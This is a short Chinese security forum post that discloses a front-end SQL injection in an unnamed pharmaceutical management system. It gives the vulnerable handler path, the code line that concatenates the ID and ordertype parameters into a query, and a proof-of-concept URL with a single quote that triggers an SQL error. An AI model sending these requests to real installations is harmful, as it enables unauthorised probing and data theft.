【1day】某医药系统存在前台SQL注入漏洞

3天前发布

0x01 漏洞分析

XX医药管理系统

工具一把梭哈找前台接口，分析代码

/admin/caiwuchongxiao/OrderHandler.ashx

d2b5ca33bd20250604131211

context.Response.Write(GetData("list", context.Request["ID"].ToString(),
context.Request["ordertype"].ToString()));

接收 get 传参的 ID 和 ordertype 拼接到 sql 语句去执行

POC

/admin/caiwuchongxiao/OrderHandler.ashx?ID=1&ordertype=1

d2b5ca33bd20250604131251

单引号报错语法错误

/admin/caiwuchongxiao/OrderHandler.ashx?ID=1%27&ordertype=1

d2b5ca33bd20250604131311

评分

欢迎为Ta评分